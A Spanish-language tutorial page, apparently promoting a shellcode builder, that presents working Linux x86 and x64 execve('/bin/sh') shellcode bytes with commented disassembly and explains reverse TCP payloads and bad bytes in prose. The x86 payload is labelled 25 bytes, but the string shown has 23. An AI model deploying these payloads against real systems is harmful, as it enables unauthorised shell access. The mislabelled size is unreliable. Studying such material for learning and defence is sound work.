Ejemplos de shellcode: Linux x86 y x64, byte a byte
Ejemplos de shellcode comentados para Linux x86 y x64 —execve /bin/sh y reverse TCP— con los bytes, el desensamblado y las trampas.
La forma más rápida de entender el shellcode es leerlo. Abajo tienes ejemplos que funcionan con los bytes y qué hace cada parte. ¿Nuevo en el tema? Empieza por qué es el shellcode.
execve("/bin/sh") — Linux x86 (25 bytes)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Desensamblado:
xor eax, eax ; eax = 0, also a clean NUL source
push eax ; null-terminate the string
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx -> "/bin//sh"
push eax ; argv null
push ebx ; argv[0]
mov ecx, esp ; ecx -> argv
mov al, 0x0b ; syscall 11 = execve
int 0x80
Fíjate en el // de /bin//sh: rellena la cadena hasta un límite de 4 bytes y el kernel trata la doble barra como una. Un pequeño truco que mantiene los push alineados sin un null byte.
execve("/bin/sh") — Linux x64 (31 bytes)
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
x64 cambia la convención de llamada: los argumentos van en rdi, rsi, rdx, el número de syscall en rax (59 = execve), y usas la instrucción syscall en lugar de int 0x80.
Reverse TCP
Los ejemplos de reverse TCP son más grandes porque incrustan la IP y el puerto del listener en una estructura sockaddr —que es justo donde a los bad bytes les encanta esconderse—. Un octeto de IP a 0 o un puerto que codifique a un byte prohibido corromperán silenciosamente los datos de conexión, así que el payload se ejecuta pero nunca llama a casa. En lugar de pegar un blob frágil, genera uno para tu propio listener e inspecciónalo. El proceso de laboratorio está en la checklist de reverse TCP.
Por qué el mismo ejemplo puede fallar en tu máquina
Un ejemplo que funciona no es portable por defecto. Los números de syscall difieren entre x86 y x64, la instrucción int 0x80 frente a syscall cambia, y un payload ajustado a un conjunto de bad chars puede llevar bytes que tu ruta de entrega prohíbe. Cuando un ejemplo conocido como bueno falla, sospecha del entorno —arquitectura, restricciones de entrega, codificación— antes que de la lógica.
Detectar bad bytes en cualquier ejemplo
Antes de fiarte de un ejemplo de internet, compruébalo frente a los valores de byte que tu entrega no puede transportar. El shellcode copiado y pegado que "no funciona" suele ser un problema de null byte o de codificación, no de lógica — mira null bytes en el shellcode.
Genera tus propias variantes
Los ejemplos estáticos son para aprender. Para un encargo quieres bytes ajustados a la arquitectura del objetivo, el formato y el conjunto de bad chars. Constrúyelos y codifícalos en el builder de Shellcodes y luego desensámblalos para confirmar que hacen lo que crees.